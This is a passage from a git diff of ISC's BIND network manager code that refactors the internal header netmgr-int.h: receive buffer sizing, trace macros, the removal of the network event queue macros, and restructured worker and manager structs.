+	if (MATCH('!') | MATCH('$') | MATCH('&') | MATCH('\'') | MATCH('(') |
+	    MATCH(')') | MATCH('*') | MATCH('+') | MATCH(',') | MATCH(';') |
+	    MATCH('='))
+	{
+		ADVANCE();
+		return (true);
+	}
+
+	return (false);
+}
+
+bool
+isc_nm_http_path_isvalid(const char *path) {
+	isc_http_location_parser_state_t state = { 0 };
+
+	REQUIRE(path != NULL);
+
+	state.str = path;
+
+	return (rule_loc_path_absolute(&state));
+}
diff --git a/lib/isc/netmgr/netmgr-int.h b/lib/isc/netmgr/netmgr-int.h
index 03cf316677..e525814f3d 100644
--- a/lib/isc/netmgr/netmgr-int.h
+++ b/lib/isc/netmgr/netmgr-int.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,51 +14,74 @@
 #pragma once
 
 #include <unistd.h>
-#include <uv.h>
 
 #include <openssl/err.h>
 #include <openssl/ssl.h>
 
-#include <isc/astack.h>
 #include <isc/atomic.h>
 #include <isc/barrier.h>
 #include <isc/buffer.h>
 #include <isc/condition.h>
+#include <isc/dnsstream.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/netmgr.h>
-#include <isc/queue.h>
 #include <isc/quota.h>
 #include <isc/random.h>
 #include <isc/refcount.h>
 #include <isc/region.h>
 #include <isc/result.h>
-#include <isc/rwlock.h>
 #include <isc/sockaddr.h>
 #include <isc/stats.h>
 #include <isc/thread.h>
+#include <isc/tid.h>
 #include <isc/tls.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
-#include "uv-compat.h"
+#include "../loop_p.h"
 
 #define ISC_NETMGR_TID_UNKNOWN -1
 
-/* Must be different from ISC_NETMGR_TID_UNKNOWN */
-#define ISC_NETMGR_NON_INTERLOCKED -2
+/*
+ * Receive buffers
+ */
+#if HAVE_DECL_UV_UDP_MMSG_CHUNK
+/*
+ * The value 20 here is UV__MMSG_MAXWIDTH taken from the current libuv source,
+ * libuv will not receive more that 20 datagrams in a single recvmmsg call.
+ */
+#define ISC_NETMGR_UDP_RECVBUF_SIZE (20 * UINT16_MAX)
+#else
+/*
+ * A single DNS message size
+ */
+#define ISC_NETMGR_UDP_RECVBUF_SIZE UINT16_MAX
+#endif
+
+/*
+ * The TCP receive buffer can fit one maximum sized DNS message plus its size,
+ * the receive buffer here affects TCP, DoT and DoH.
+ */
+#define ISC_NETMGR_TCP_RECVBUF_SIZE (sizeof(uint16_t) + UINT16_MAX)
 
-#define ISC_NETMGR_TLSBUF_SIZE 65536
+/* Pick the larger buffer */
+#define ISC_NETMGR_RECVBUF_SIZE                                     \
+	(ISC_NETMGR_UDP_RECVBUF_SIZE >= ISC_NETMGR_TCP_RECVBUF_SIZE \
+		 ? ISC_NETMGR_UDP_RECVBUF_SIZE                      \
+		 : ISC_NETMGR_TCP_RECVBUF_SIZE)
 
 /*
- * New versions of libuv support recvmmsg on unices.
- * Since recvbuf is only allocated per worker allocating a bigger one is not
- * that wasteful.
- * 20 here is UV__MMSG_MAXWIDTH taken from the current libuv source, nothing
- * will break if the original value changes.
+ * Make sure our RECVBUF size is large enough
  */
-#define ISC_NETMGR_RECVBUF_SIZE (20 * 65536)
 
-#define ISC_NETMGR_SENDBUF_SIZE (sizeof(uint16_t) + UINT16_MAX)
+STATIC_ASSERT(ISC_NETMGR_UDP_RECVBUF_SIZE <= ISC_NETMGR_RECVBUF_SIZE,
+	      "UDP receive buffer size must be smaller or equal than worker "
+	      "receive buffer size");
+
+STATIC_ASSERT(ISC_NETMGR_TCP_RECVBUF_SIZE <= ISC_NETMGR_RECVBUF_SIZE,
+	      "TCP receive buffer size must be smaller or equal than worker "
+	      "receive buffer size");
 
 /*%
  * Regular TCP buffer size.
@@ -69,85 +94,90 @@
  * most in TCPDNS or TLSDNS connections, so there's no risk of overrun
  * when using a buffer this size.
  */
-#define NM_BIG_BUF (65535 + 2) * 2
+#define NM_BIG_BUF ISC_NETMGR_TCP_RECVBUF_SIZE * 2
 
-#if defined(SO_REUSEPORT_LB) || (defined(SO_REUSEPORT) && defined(__linux__))
-#define HAVE_SO_REUSEPORT_LB 1
-#endif
+/*%
+ * Maximum segment size (MSS) of TCP socket on which the server responds to
+ * queries. Value lower than common MSS on Ethernet (1220, that is 1280 (IPv6
+ * minimum link MTU) - 40 (IPv6 fixed header) - 20 (TCP fixed header)) will
+ * address path MTU problem.
+ */
+#define NM_MAXSEG (1280 - 20 - 40)
+
+/*%
+ * How many isc_nmhandles and isc_nm_uvreqs will we be
+ * caching for reuse in a socket.
+ */
+#define ISC_NM_NMHANDLES_MAX 64
+#define ISC_NM_UVREQS_MAX    64
 
 /*
- * Define NETMGR_TRACE to activate tracing of handles and sockets.
+ * Define ISC_NETMGR_TRACE to activate tracing of handles and sockets.
  * This will impair performance but enables us to quickly determine,
  * if netmgr resources haven't been cleaned up on shutdown, which ones
  * are still in use.
  */
-#ifdef NETMGR_TRACE
+#if ISC_NETMGR_TRACE
 #define TRACE_SIZE 8
 
-void
-isc__nm_dump_active(isc_nm_t *nm);
-
 #if defined(__linux__)
 #include <syscall.h>
-#define gettid() (uint32_t) syscall(SYS_gettid)
+#define gettid() (uint64_t) syscall(SYS_gettid)
+#elif defined(__FreeBSD__)
+#include <pthread_np.h>
+#define gettid() (uint64_t)(pthread_getthreadid_np())
+#elif defined(__OpenBSD__)
+#include <unistd.h>
+#define gettid() (uint64_t)(getthrid())
+#elif defined(__NetBSD__)
+#include <lwp.h>
+#define gettid() (uint64_t)(_lwp_self())
+#elif defined(__DragonFly__)
+#include <unistd.h>
+#define gettid() (uint64_t)(lwp_gettid())
 #else
-#define gettid() (uint32_t) pthread_self()
+#define gettid() (uint64_t)(pthread_self())
 #endif
 
-#ifdef NETMGR_TRACE_VERBOSE
 #define NETMGR_TRACE_LOG(format, ...)                                \
-	fprintf(stderr, "%" PRIu32 ":%d:%s:%u:%s:" format, gettid(), \
-		isc_nm_tid(), file, line, func, __VA_ARGS__)
-#else
-#define NETMGR_TRACE_LOG(format, ...) \
-	(void)file;                   \
-	(void)line;                   \
-	(void)func;
-#endif
-
-#define FLARG_PASS , file, line, func
-#define FLARG                                              \
-	, const char *file __attribute__((unused)),        \
-		unsigned int line __attribute__((unused)), \
-		const char *func __attribute__((unused))
-#define FLARG_IEVENT(ievent)              \
-	const char *file = ievent->file;  \
-	unsigned int line = ievent->line; \
-	const char *func = ievent->func;
-#define FLARG_IEVENT_PASS(ievent) \
-	ievent->file = file;      \
-	ievent->line = line;      \
-	ievent->func = func;
-#define isc__nm_uvreq_get(req, sock) \
-	isc___nm_uvreq_get(req, sock, __FILE__, __LINE__, __func__)
-#define isc__nm_uvreq_put(req, sock) \
-	isc___nm_uvreq_put(req, sock, __FILE__, __LINE__, __func__)
-#define isc__nmsocket_init(sock, mgr, type, iface)                      \
-	isc___nmsocket_init(sock, mgr, type, iface, __FILE__, __LINE__, \
-			    __func__)
+	fprintf(stderr, "%" PRIu64 ":%d:%s:%u:%s:" format, gettid(), \
+		isc_tid(), file, line, func, __VA_ARGS__)
+
+#define FLARG                                                                 \
+	, const char *func ISC_ATTR_UNUSED, const char *file ISC_ATTR_UNUSED, \
+		unsigned int line ISC_ATTR_UNUSED
+
+#define FLARG_PASS , func, file, line
+#define isc__nm_uvreq_get(sock) \
+	isc___nm_uvreq_get(sock, __func__, __FILE__, __LINE__)
+#define isc__nm_uvreq_put(req) \
+	isc___nm_uvreq_put(req, __func__, __FILE__, __LINE__)
+#define isc__nmsocket_init(sock, mgr, type, iface, parent)            \
+	isc___nmsocket_init(sock, mgr, type, iface, parent, __func__, \
+			    __FILE__, __LINE__)
 #define isc__nmsocket_put(sockp) \
-	isc___nmsocket_put(sockp, __FILE__, __LINE__, __func__)
+	isc___nmsocket_put(sockp, __func__, __FILE__, __LINE__)
 #define isc__nmsocket_attach(sock, target) \
-	isc___nmsocket_attach(sock, target, __FILE__, __LINE__, __func__)
+	isc___nmsocket_attach(sock, target, __func__, __FILE__, __LINE__)
 #define isc__nmsocket_detach(socketp) \
-	isc___nmsocket_detach(socketp, __FILE__, __LINE__, __func__)
+	isc___nmsocket_detach(socketp, __func__, __FILE__, __LINE__)
 #define isc__nmsocket_close(socketp) \
-	isc___nmsocket_close(socketp, __FILE__, __LINE__, __func__)
+	isc___nmsocket_close(socketp, __func__, __FILE__, __LINE__)
 #define isc__nmhandle_get(sock, peer, local) \
-	isc___nmhandle_get(sock, peer, local, __FILE__, __LINE__, __func__)
+	isc___nmhandle_get(sock, peer, local, __func__, __FILE__, __LINE__)
 #define isc__nmsocket_prep_destroy(sock) \
-	isc___nmsocket_prep_destroy(sock, __FILE__, __LINE__, __func__)
+	isc___nmsocket_prep_destroy(sock, __func__, __FILE__, __LINE__)
+#define isc__nm_get_read_req(sock, sockaddr) \
+	isc___nm_get_read_req(sock, sockaddr, __func__, __FILE__, __LINE__)
 #else
 #define NETMGR_TRACE_LOG(format, ...)
 
-#define FLARG_PASS
 #define FLARG
-#define FLARG_IEVENT(ievent)
-#define FLARG_IEVENT_PASS(ievent)
-#define isc__nm_uvreq_get(req, sock) isc___nm_uvreq_get(req, sock)
-#define isc__nm_uvreq_put(req, sock) isc___nm_uvreq_put(req, sock)
-#define isc__nmsocket_init(sock, mgr, type, iface) \
-	isc___nmsocket_init(sock, mgr, type, iface)
+#define FLARG_PASS
+#define isc__nm_uvreq_get(sock) isc___nm_uvreq_get(sock)
+#define isc__nm_uvreq_put(req)	isc___nm_uvreq_put(req)
+#define isc__nmsocket_init(sock, mgr, type, iface, parent) \
+	isc___nmsocket_init(sock, mgr, type, iface, parent)
 #define isc__nmsocket_put(sockp)	   isc___nmsocket_put(sockp)
 #define isc__nmsocket_attach(sock, target) isc___nmsocket_attach(sock, target)
 #define isc__nmsocket_detach(socketp)	   isc___nmsocket_detach(socketp)
@@ -155,43 +185,35 @@ isc__nm_dump_active(isc_nm_t *nm);
 #define isc__nmhandle_get(sock, peer, local) \
 	isc___nmhandle_get(sock, peer, local)
 #define isc__nmsocket_prep_destroy(sock) isc___nmsocket_prep_destroy(sock)
+#define isc__nm_get_read_req(sock, sockaddr) \
+	isc___nm_get_read_req(sock, sockaddr)
 #endif
 
-/*
- * Queue types in the order of processing priority.
- */
-typedef enum {
-	NETIEVENT_PRIORITY = 0,
-	NETIEVENT_PRIVILEGED = 1,
-	NETIEVENT_TASK = 2,
-	NETIEVENT_NORMAL = 3,
-	NETIEVENT_MAX = 4,
-} netievent_type_t;
+typedef struct isc__nm_uvreq isc__nm_uvreq_t;
 
 /*
  * Single network event loop worker.
  */
 typedef struct isc__networker {
-	isc_nm_t *mgr;
-	int id;		  /* thread id */
-	uv_loop_t loop;	  /* libuv loop structure */
-	uv_async_t async; /* async channel to send
-			   * data to this networker */
-	isc_mutex_t lock;
-	bool paused;
-	bool finished;
-	isc_thread_t thread;
-	isc_queue_t *ievents[NETIEVENT_MAX];
-	atomic_uint_fast32_t nievents[NETIEVENT_MAX];
-	isc_condition_t cond_prio;
-
+	isc_mem_t *mctx;
 	isc_refcount_t references;
-	atomic_int_fast64_t pktcount;
+	isc_loop_t *loop;
+	isc_nm_t *netmgr;
+	bool shuttingdown;
+
 	char *recvbuf;
-	char *sendbuf;
 	bool recvbuf_inuse;
+
+	ISC_LIST(isc_nmsocket_t) active_sockets;
+
+	isc_mempool_t *uvreq_pool;
 } isc__networker_t;
 
+ISC_REFCOUNT_DECL(isc__networker);
+
+void
+isc__nm_dump_active(isc__networker_t *worker);
+
 /*
  * A general handle for a connection bound to a networker.  For UDP
  * connections we have peer address here, so both TCP and UDP can be
@@ -217,7 +239,6 @@ struct isc_nmhandle {
 	 * the socket.
 	 */
 	isc_nmsocket_t *sock;
-	size_t ah_pos; /* Position in the socket's 'active handles' array */
 
 	isc_nm_http_session_t *httpsession;
 
@@ -225,105 +246,24 @@ struct isc_nmhandle {
 	isc_sockaddr_t local;
 	isc_nm_opaquecb_t doreset; /* reset extra callback, external */
 	isc_nm_opaquecb_t dofree;  /* free extra callback, external */
-#ifdef NETMGR_TRACE
+#if ISC_NETMGR_TRACE
 	void *backtrace[TRACE_SIZE];
 	int backtrace_size;
-	LINK(isc_nmhandle_t) active_link;
 #endif
-	void *opaque;
-	char extra[];
-};
+	LINK(isc_nmhandle_t) active_link;
+	LINK(isc_nmhandle_t) inactive_link;
 
-typedef enum isc__netievent_type {
-	netievent_udpconnect,
-	netievent_udpclose,
-	netievent_udpsend,
-	netievent_udpread,
-	netievent_udpcancel,
-
-	netievent_tcpconnect,
-	netievent_tcpclose,
-	netievent_tcpsend,
-	netievent_tcpstartread,
-	netievent_tcppauseread,
-	netievent_tcpaccept,
-	netievent_tcpcancel,
-
-	netievent_tcpdnsaccept,
-	netievent_tcpdnsconnect,
-	netievent_tcpdnsclose,
-	netievent_tcpdnssend,
-	netievent_tcpdnsread,
-	netievent_tcpdnscancel,
-
-	netievent_tlsclose,
-	netievent_tlssend,
-	netievent_tlsstartread,
-	netievent_tlsconnect,
-	netievent_tlsdobio,
-	netievent_tlscancel,
-
-	netievent_tlsdnsaccept,
-	netievent_tlsdnsconnect,
-	netievent_tlsdnsclose,
-	netievent_tlsdnssend,
-	netievent_tlsdnsread,
-	netievent_tlsdnscancel,
-	netievent_tlsdnscycle,
-	netievent_tlsdnsshutdown,
-
-	netievent_httpclose,
-	netievent_httpsend,
-
-	netievent_shutdown,
-	netievent_stop,
-	netievent_pause,
-
-	netievent_connectcb,
-	netievent_readcb,
-	netievent_sendcb,
-
-	netievent_task,
-	netievent_privilegedtask,
+	void *opaque;
 
-	/*
-	 * event type values higher than this will be treated
-	 * as high-priority events, which can be processed
-	 * while the netmgr is pausing or paused.
-	 */
-	netievent_prio = 0xff,
-
-	netievent_udplisten,
-	netievent_udpstop,
-	netievent_tcplisten,
-	netievent_tcpstop,
-	netievent_tcpdnslisten,
-	netievent_tcpdnsstop,
-	netievent_tlsdnslisten,
-	netievent_tlsdnsstop,
-	netievent_httpstop,
-
-	netievent_resume,
-	netievent_detach,
-	netievent_close,
-} isc__netievent_type;
+	isc_job_t job;
+};
 
 typedef union {
 	isc_nm_recv_cb_t recv;
 	isc_nm_cb_t send;
 	isc_nm_cb_t connect;
-	isc_nm_accept_cb_t accept;
 } isc__nm_cb_t;
 
-typedef struct isc_nm_httphandler isc_nm_httphandler_t;
-struct isc_nm_httphandler {
-	char *path;
-	isc_nm_recv_cb_t cb;
-	void *cbarg;
-	size_t extrahandlesize;
-	LINK(isc_nm_httphandler_t) link;
-};
-
 /*
  * Wrapper around uv_req_t with 'our' fields in it.  req->data should
  * always point to its parent.  Note that we always allocate more than
@@ -337,15 +277,17 @@ struct isc__nm_uvreq {
 	int magic;
 	isc_nmsocket_t *sock;
 	isc_nmhandle_t *handle;
-	char tcplen[2];	      /* The TCP DNS message length */
-	uv_buf_t uvbuf;	      /* translated isc_region_t, to be
-			       * sent or received */
-	isc_sockaddr_t local; /* local address */
-	isc_sockaddr_t peer;  /* peer address */
-	isc__nm_cb_t cb;      /* callback */
-	void *cbarg;	      /* callback argument */
-	uv_pipe_t ipc;	      /* used for sending socket
-			       * uv_handles to other threads */
+	char tcplen[2];	       /* The TCP DNS message length */
+	uv_buf_t uvbuf;	       /* translated isc_region_t, to be
+				* sent or received */
+	isc_sockaddr_t local;  /* local address */
+	isc_sockaddr_t peer;   /* peer address */
+	isc__nm_cb_t cb;       /* callback */
+	void *cbarg;	       /* callback argument */
+	isc_nm_timer_t *timer; /* TCP write timer */
+	int connect_tries;     /* connect retries */
+	isc_result_t result;
+
 	union {
 		uv_handle_t handle;
 		uv_req_t req;
@@ -356,300 +298,12 @@ struct isc__nm_uvreq {
 		uv_connect_t connect;
 		uv_udp_send_t udp_send;
 		uv_fs_t fs;
-		uv_work_t work;
 	} uv_req;
 	ISC_LINK(isc__nm_uvreq_t) link;
-};
-
-void *
-isc__nm_get_netievent(isc_nm_t *mgr, isc__netievent_type type);
-/*%<
- * Allocate an ievent and set the type.
- */
-void
-isc__nm_put_netievent(isc_nm_t *mgr, void *ievent);
+	ISC_LINK(isc__nm_uvreq_t) active_link;
 
-/*
- * The macros here are used to simulate the "inheritance" in C, there's the base
- * netievent structure that contains just its own type and socket, and there are
- * extended netievent types that also have handles or requests or other data.
- *
- * The macros here ensure that:
- *
- *   1. every netievent type has matching definition, declaration and
- *      implementation
- *
- *   2. we handle all the netievent types of same subclass the same, e.g. if the
- *      extended netievent contains handle, we always attach to the handle in
- *      the ctor and detach from the handle in dtor.
- *
- * There are three macros here for each netievent subclass:
- *
- *   1. NETIEVENT_*_TYPE(type) creates the typedef for each type; used below in
- *   this header
- *
- *   2. NETIEVENT_*_DECL(type) generates the declaration of the get and put
- *      functions (isc__nm_get_netievent_* and isc__nm_put_netievent_*); used
- *      below in this header
- *
- *   3. NETIEVENT_*_DEF(type) generates the definition of the functions; used
- *   either in netmgr.c or matching protocol file (e.g. udp.c, tcp.c, etc.)
- */
-
-#define NETIEVENT__SOCKET         \
-	isc__netievent_type type; \
-	isc_nmsocket_t *sock;     \
-	const char *file;         \
-	unsigned int line;        \
-	const char *func
-
-typedef struct isc__netievent__socket {
-	NETIEVENT__SOCKET;
-} isc__netievent__socket_t;
-
-#define NETIEVENT_SOCKET_TYPE(type) \
-	typedef isc__netievent__socket_t isc__netievent_##type##_t;
-
-#define NETIEVENT_SOCKET_DECL(type)                              \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type( \
-		isc_nm_t *nm, isc_nmsocket_t *sock);             \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,          \
-					  isc__netievent_##type##_t *ievent);
-
-#define NETIEVENT_SOCKET_DEF(type)                                             \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(               \
-		isc_nm_t *nm, isc_nmsocket_t *sock) {                          \
-		isc__netievent_##type##_t *ievent =                            \
-			isc__nm_get_netievent(nm, netievent_##type);           \
-		isc__nmsocket_attach(sock, &ievent->sock);                     \
-                                                                               \
-		return (ievent);                                               \
-	}                                                                      \
-                                                                               \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                        \
-					  isc__netievent_##type##_t *ievent) { \
-		isc__nmsocket_detach(&ievent->sock);                           \
-		isc__nm_put_netievent(nm, ievent);                             \
-	}
-
-typedef struct isc__netievent__socket_req {
-	NETIEVENT__SOCKET;
-	isc__nm_uvreq_t *req;
-} isc__netievent__socket_req_t;
-
-#define NETIEVENT_SOCKET_REQ_TYPE(type) \
-	typedef isc__netievent__socket_req_t isc__netievent_##type##_t;
-
-#define NETIEVENT_SOCKET_REQ_DECL(type)                                    \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(           \
-		isc_nm_t *nm, isc_nmsocket_t *sock, isc__nm_uvreq_t *req); \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                    \
-					  isc__netievent_##type##_t *ievent);
-
-#define NETIEVENT_SOCKET_REQ_DEF(type)                                         \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(               \
-		isc_nm_t *nm, isc_nmsocket_t *sock, isc__nm_uvreq_t *req) {    \
-		isc__netievent_##type##_t *ievent =                            \
-			isc__nm_get_netievent(nm, netievent_##type);           \
-		isc__nmsocket_attach(sock, &ievent->sock);                     \
-		ievent->req = req;                                             \
-                                                                               \
-		return (ievent);                                               \
-	}                                                                      \
-                                                                               \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                        \
-					  isc__netievent_##type##_t *ievent) { \
-		isc__nmsocket_detach(&ievent->sock);                           \
-		isc__nm_put_netievent(nm, ievent);                             \
-	}
-
-typedef struct isc__netievent__socket_req_result {
-	isc__netievent_type type;
-	isc_nmsocket_t *sock;
-	isc__nm_uvreq_t *req;
-	isc_result_t result;
-} isc__netievent__socket_req_result_t;
-
-#define NETIEVENT_SOCKET_REQ_RESULT_TYPE(type) \
-	typedef isc__netievent__socket_req_result_t isc__netievent_##type##_t;
-
-#define NETIEVENT_SOCKET_REQ_RESULT_DECL(type)                            \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(          \
-		isc_nm_t *nm, isc_nmsocket_t *sock, isc__nm_uvreq_t *req, \
-		isc_result_t result);                                     \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                   \
-					  isc__netievent_##type##_t *ievent);
-
-#define NETIEVENT_SOCKET_REQ_RESULT_DEF(type)                                  \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(               \
-		isc_nm_t *nm, isc_nmsocket_t *sock, isc__nm_uvreq_t *req,      \
-		isc_result_t result) {                                         \
-		isc__netievent_##type##_t *ievent =                            \
-			isc__nm_get_netievent(nm, netievent_##type);           \
-		isc__nmsocket_attach(sock, &ievent->sock);                     \
-		ievent->req = req;                                             \
-		ievent->result = result;                                       \
-                                                                               \
-		return (ievent);                                               \
-	}                                                                      \
-                                                                               \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                        \
-					  isc__netievent_##type##_t *ievent) { \
-		isc__nmsocket_detach(&ievent->sock);                           \
-		isc__nm_put_netievent(nm, ievent);                             \
-	}
-
-typedef struct isc__netievent__socket_handle {
-	NETIEVENT__SOCKET;
-	isc_nmhandle_t *handle;
-} isc__netievent__socket_handle_t;
-
-#define NETIEVENT_SOCKET_HANDLE_TYPE(type) \
-	typedef isc__netievent__socket_handle_t isc__netievent_##type##_t;
-
-#define NETIEVENT_SOCKET_HANDLE_DECL(type)                                   \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(             \
-		isc_nm_t *nm, isc_nmsocket_t *sock, isc_nmhandle_t *handle); \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                      \
-					  isc__netievent_##type##_t *ievent);
-
-#define NETIEVENT_SOCKET_HANDLE_DEF(type)                                      \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(               \
-		isc_nm_t *nm, isc_nmsocket_t *sock, isc_nmhandle_t *handle) {  \
-		isc__netievent_##type##_t *ievent =                            \
-			isc__nm_get_netievent(nm, netievent_##type);           \
-		isc__nmsocket_attach(sock, &ievent->sock);                     \
-		isc_nmhandle_attach(handle, &ievent->handle);                  \
-                                                                               \
-		return (ievent);                                               \
-	}                                                                      \
-                                                                               \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                        \
-					  isc__netievent_##type##_t *ievent) { \
-		isc__nmsocket_detach(&ievent->sock);                           \
-		isc_nmhandle_detach(&ievent->handle);                          \
-		isc__nm_put_netievent(nm, ievent);                             \
-	}
-
-typedef struct isc__netievent__socket_quota {
-	NETIEVENT__SOCKET;
-	isc_quota_t *quota;
-} isc__netievent__socket_quota_t;
-
-#define NETIEVENT_SOCKET_QUOTA_TYPE(type) \
-	typedef isc__netievent__socket_quota_t isc__netievent_##type##_t;
-
-#define NETIEVENT_SOCKET_QUOTA_DECL(type)                                \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(         \
-		isc_nm_t *nm, isc_nmsocket_t *sock, isc_quota_t *quota); \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                  \
-					  isc__netievent_##type##_t *ievent);
-
-#define NETIEVENT_SOCKET_QUOTA_DEF(type)                                       \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(               \
-		isc_nm_t *nm, isc_nmsocket_t *sock, isc_quota_t *quota) {      \
-		isc__netievent_##type##_t *ievent =                            \
-			isc__nm_get_netievent(nm, netievent_##type);           \
-		isc__nmsocket_attach(sock, &ievent->sock);                     \
-		ievent->quota = quota;                                         \
-                                                                               \
-		return (ievent);                                               \
-	}                                                                      \
-                                                                               \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                        \
-					  isc__netievent_##type##_t *ievent) { \
-		isc__nmsocket_detach(&ievent->sock);                           \
-		isc__nm_put_netievent(nm, ievent);                             \
-	}
-
-typedef struct isc__netievent__task {
-	isc__netievent_type type;
-	isc_task_t *task;
-} isc__netievent__task_t;
-
-#define NETIEVENT_TASK_TYPE(type) \
-	typedef isc__netievent__task_t isc__netievent_##type##_t;
-
-#define NETIEVENT_TASK_DECL(type)                                \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type( \
-		isc_nm_t *nm, isc_task_t *task);                 \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,          \
-					  isc__netievent_##type##_t *ievent);
-
-#define NETIEVENT_TASK_DEF(type)                                               \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(               \
-		isc_nm_t *nm, isc_task_t *task) {                              \
-		isc__netievent_##type##_t *ievent =                            \
-			isc__nm_get_netievent(nm, netievent_##type);           \
-		ievent->task = task;                                           \
-                                                                               \
-		return (ievent);                                               \
-	}                                                                      \
-                                                                               \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                        \
-					  isc__netievent_##type##_t *ievent) { \
-		ievent->task = NULL;                                           \
-		isc__nm_put_netievent(nm, ievent);                             \
-	}
-
-typedef struct isc__netievent_udpsend {
-	NETIEVENT__SOCKET;
-	isc_sockaddr_t peer;
-	isc__nm_uvreq_t *req;
-} isc__netievent_udpsend_t;
-
-typedef struct isc__netievent_tlsconnect {
-	isc__netievent_type type;
-	isc_nmsocket_t *sock;
-	SSL_CTX *ctx;
-	isc_sockaddr_t local; /* local address */
-	isc_sockaddr_t peer;  /* peer address */
-} isc__netievent_tlsconnect_t;
-
-typedef struct isc__netievent {
-	isc__netievent_type type;
-} isc__netievent_t;
-
-#define NETIEVENT_TYPE(type) typedef isc__netievent_t isc__netievent_##type##_t;
-
-#define NETIEVENT_DECL(type)                                                   \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(isc_nm_t *nm); \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                        \
-					  isc__netievent_##type##_t *ievent);
-
-#define NETIEVENT_DEF(type)                                                    \
-	isc__netievent_##type##_t *isc__nm_get_netievent_##type(               \
-		isc_nm_t *nm) {                                                \
-		isc__netievent_##type##_t *ievent =                            \
-			isc__nm_get_netievent(nm, netievent_##type);           \
-                                                                               \
-		return (ievent);                                               \
-	}                                                                      \
-                                                                               \
-	void isc__nm_put_netievent_##type(isc_nm_t *nm,                        \
-					  isc__netievent_##type##_t *ievent) { \
-		isc__nm_put_netievent(nm, ievent);                             \
-	}
-
-typedef union {
-	isc__netievent_t ni;
-	isc__netievent__socket_t nis;
-	isc__netievent__socket_req_t nisr;
-	isc__netievent_udpsend_t nius;
-	isc__netievent__socket_quota_t nisq;
-	isc__netievent_tlsconnect_t nitc;
-} isc__netievent_storage_t;
-
-/*
- * Work item for a uv_work threadpool.
- */
-typedef struct isc__nm_work {
-	isc_nm_t *netmgr;
-	uv_work_t req;
-	isc_nm_workcb_t cb;
-	isc_nm_after_workcb_t after_cb;
-	void *data;
-} isc__nm_work_t;
+	isc_job_t job;
+};
 
 /*
  * Network manager
@@ -661,39 +315,22 @@ struct isc_nm {
 	int magic;
 	isc_refcount_t references;
 	isc_mem_t *mctx;
-	int nworkers;
+	isc_loopmgr_t *loopmgr;
+	uint32_t nloops;
 	isc_mutex_t lock;
-	isc_condition_t wkstatecond;
-	isc_condition_t wkpausecond;
 	isc__networker_t *workers;
 
 	isc_stats_t *stats;
 
-	isc_mempool_t *reqpool;
-	isc_mutex_t reqlock;
-
-	isc_mempool_t *evpool;
-	isc_mutex_t evlock;
-
-	uint_fast32_t workers_running;
-	atomic_uint_fast32_t workers_paused;
 	atomic_uint_fast32_t maxudp;
 
-	atomic_bool paused;
+	bool load_balance_sockets;
 
 	/*
 	 * Active connections are being closed and new connections are
 	 * no longer allowed.
 	 */
-	atomic_bool closing;
-
-	/*
-	 * A worker is actively waiting for other workers, for example to
-	 * stop listening; that means no other thread can do the same thing
-	 * or pause, or we'll deadlock. We have to either re-enqueue our
-	 * event or wait for the other one to finish if we want to pause.
-	 */
-	atomic_int interlocked;
+	atomic_bool shuttingdown;
 
 	/*
 	 * Timeout values for TCP connections, corresponding to
@@ -707,9 +344,6 @@ struct isc_nm {
 	atomic_uint_fast32_t keepalive;
 	atomic_uint_fast32_t advertised;
 
-	isc_barrier_t pausing;
-	isc_barrier_t resuming;
-
 	/*
 	 * Socket SO_RCVBUF and SO_SNDBUF values
 	 */
@@ -717,27 +351,8 @@ struct isc_nm {
 	atomic_int_fast32_t send_udp_buffer_size;
 	atomic_int_fast32_t recv_tcp_buffer_size;
 	atomic_int_fast32_t send_tcp_buffer_size;
-
-#ifdef NETMGR_TRACE
-	ISC_LIST(isc_nmsocket_t) active_sockets;
-#endif
 };
 
-typedef enum isc_nmsocket_type {
-	isc_nm_udpsocket,
-	isc_nm_udplistener, /* Aggregate of nm_udpsocks */
-	isc_nm_tcpsocket,
-	isc_nm_tcplistener,
-	isc_nm_tcpdnslistener,
-	isc_nm_tcpdnssocket,
-	isc_nm_tlslistener,
-	isc_nm_tlssocket,
-	isc_nm_tlsdnslistener,
-	isc_nm_tlsdnssocket,
-	isc_nm_httplistener,
-	isc_nm_httpsocket
-} isc_nmsocket_type;
-
 /*%
  * A universal structure for either a single socket or a group of
  * dup'd/SO_REUSE_PORT-using sockets listening on the same interface.
@@ -748,7 +363,7 @@ typedef enum isc_nmsocket_type {
 /*%
  * Index into socket stat counter arrays.
  */
-enum {
+typedef enum {
 	STATID_OPEN = 0,
 	STATID_OPENFAIL = 1,
 	STATID_CLOSE = 2,
@@ -759,18 +374,22 @@ enum {
 	STATID_ACCEPT = 7,
 	STATID_SENDFAIL = 8,
 	STATID_RECVFAIL = 9,
-	STATID_ACTIVE = 10
-};
+	STATID_ACTIVE = 10,
